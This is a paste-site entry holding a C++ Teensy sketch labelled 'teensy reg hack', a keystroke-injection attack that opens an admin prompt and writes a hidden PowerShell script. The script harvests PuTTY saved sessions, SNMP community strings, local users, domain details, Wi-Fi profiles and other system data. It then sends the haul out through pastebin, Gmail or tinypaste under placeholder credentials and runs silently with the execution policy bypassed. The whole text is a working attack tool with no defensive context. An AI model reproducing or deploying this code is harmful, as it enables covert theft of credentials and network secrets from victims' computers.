teensy reg hack


SUBMITTED BY: Guest

DATE: Dec. 2, 2013, 1:40 p.m.

FORMAT: C++

SIZE: 5.5 kB

HITS: 976

  1. #define BOARDTYPE
  2. #ifdef TEENSY2
  3. #include<usb_private.h>
  4. #endif
  5. void setup(){
  6. delay(3000);
  7. wait_for_drivers(2000);
  8. minimise_windows();
  9. delay(500);
  10. while(!cmd_admin(3,500))
  11. {
  12. reset_windows_desktop(2000);
  13. }
  14. Keyboard.println("echo $pn = $env:COMPUTERNAME + \" Info\" > %temp%\\in.ps1");
  15. Keyboard.println("echo $user = \"INPUT0\" >> %temp%\\in.ps1");
  16. Keyboard.println("echo $pass = \"INPUT1\" >> %temp%\\in.ps1");
  17. Keyboard.println("echo $dev = \"INPUT2\" >> %temp%\\in.ps1");
  18. delay(1000);
  19. Keyboard.println("echo function rv($rk, $rg,$ch) >> %temp%\\in.ps1");
  20. Keyboard.println("echo { >> %temp%\\in.ps1");
  21. Keyboard.println("echo if ($ch -eq \"no\"){$key = get-item $rk} >> %temp%\\in.ps1");
  22. Keyboard.println("echo else{$key = ls $rk} >> %temp%\\in.ps1");
  23. Keyboard.println("echo $key ^| >> %temp%\\in.ps1");
  24. Keyboard.println("echo ForEach-Object { >> %temp%\\in.ps1");
  25. Keyboard.println("echo $v = gp $_.PSPath >> %temp%\\in.ps1");
  26. Keyboard.println("echo ForEach ($value in $_.Property) >> %temp%\\in.ps1");
  27. Keyboard.println("echo { >> %temp%\\in.ps1");
  28. Keyboard.println("echo if ($rg -eq \"all\") {$v.$value} >> %temp%\\in.ps1");
  29. Keyboard.println("echo elseif ($rg -eq \"allname\"){$value} >> %temp%\\in.ps1");
  30. Keyboard.println("echo else {$v.$rg;break} >> %temp%\\in.ps1");
  31. Keyboard.println("echo }}} >> %temp%\\in.ps1");
  32. Keyboard.println("echo $o = \"Logged in users:`n\" + (rv \"hklm:\\software\\microsoft\\windows nt\\currentversion\\profilelist\" \"profileimagepath\") >> %temp%\\in.ps1");
  33. Keyboard.println("echo $o = $o + \"`n PS Env:`n\" + (rv \"hklm:\\software\\microsoft\\powershell\1\" \"allname\") >> %temp%\\in.ps1");
  34. Keyboard.println("echo $o = $o + \"`n Putty trusted hosts:`n\" + (rv \"hkcu:\\software\\simontatham\\putty\" \"allname\") >> %temp%\\in.ps1");
  35. Keyboard.println("echo $o = $o + \"`n Putty saved sessions:`n\" + (rv \"hkcu:\\software\\simontatham\\putty\\sessions\" \"all\") >> %temp%\\in.ps1");
  36. Keyboard.println("echo $o = $o + \"`n Shares:`n\" + (rv \"hklm:\\SYSTEM\\CurrentControlSet\\services\\LanmanServer\\Shares\" \"all\" \"no\") >> %temp%\\in.ps1");
  37. Keyboard.println("echo $o = $o + \"`n Env vars:`n\" + (rv \"hklm:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" \"all\" \"no\") >> %temp%\\in.ps1");
  38. Keyboard.println("echo $o = $o + \"`n Current user:`n\" + (rv \"hkcu:\\Volatile Environment\" \"all\" \"no\") >> %temp%\\in.ps1");
  39. Keyboard.println("echo $o = $o + \"`n SNMP cs:`n\" + (rv \"hklm:\\SYSTEM\\CurrentControlSet\\services\\snmp\\parameters\\validcommunities\" \"all\" \"no\") >> %temp%\\in.ps1");
  40. Keyboard.println("echo $o = $o + \"`n SNMP cs - user:`n\" + (rv \"hkcu:\\SYSTEM\\CurrentControlSet\\services\\snmp\\parameters\\validcommunities\" \"all\" \"no\") >> %temp%\\in.ps1");
  41. Keyboard.println("echo $o = $o + \"`n Installed Apps:`n\" + (rv \"hklm:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" \"displayname\") >> %temp%\\in.ps1");
  42. Keyboard.println("echo $o = $o + \"`n Installed Apps - user:`n\" + (rv \"hkcu:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" \"displayname\") >> %temp%\\in.ps1");
  43. Keyboard.println("echo $o = $o + \"`n Domain:`n\" + (rv \"hklm:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\\" \"all\" \"no\") >> %temp%\\in.ps1");
  44. Keyboard.println("echo $o = $o + \"`n Contents of /etc/hosts:`n\" + (gc -path \"C:\\windows\\System32\\drivers\\etc\\hosts\") >> %temp%\\in.ps1");
  45. Keyboard.println("echo $o = $o + \"`n Running Services:`n\" + (net start) >> %temp%\\in.ps1");
  46. Keyboard.println("echo $o = $o + \"`n Account Policy:`n\" + (net accounts) >> %temp%\\in.ps1");
  47. Keyboard.println("echo $o = $o + \"`n Local users:`n\" + (net user) >> %temp%\\in.ps1");
  48. Keyboard.println("echo $o = $o + \"`n Local Groups:`n\" + (net localgroup) >> %temp%\\in.ps1");
  49. Keyboard.println("echo $o = $o + \"`n WLAN Info:`n\" + (netsh wlan show all) >> %temp%\\in.ps1");
  50. Keyboard.println("echo $o = $o.Replace(\"/\",\"\\\") >> %temp%\\in.ps1");
  51. Keyboard.println("echo $pv = $o.Replace(\"www\",\"uuu\") >> %temp%\\in.ps1");
  52. if ("INPUT3" == "pastebin")
  53. {
  54. pastebin("in");
  55. }
  56. else if ("INPUT3" == "gmail")
  57. {
  58. gmail("in","no");
  59. }
  60. else if ("INPUT3" == "tinypaste")
  61. {
  62. tinypaste("in");
  63. }
  64. Keyboard.println("echo Set oShell = CreateObject(\"WScript.Shell\") > %temp%\\in.vbs");
  65. Keyboard.println("echo oShell.Run(\"powershell.exe -ExecutionPolicy Bypass -noLogo -command %temp%\\in.ps1\"),0,true >> %temp%\\in.vbs");
  66. delay(1000);
  67. Keyboard.println("wscript %temp%\\in.vbs");
  68. delay(3000);
  69. Keyboard.println("exit");
  70. }
  71. void loop(){
  72. }
  73. DEFS

comments powered by Disqus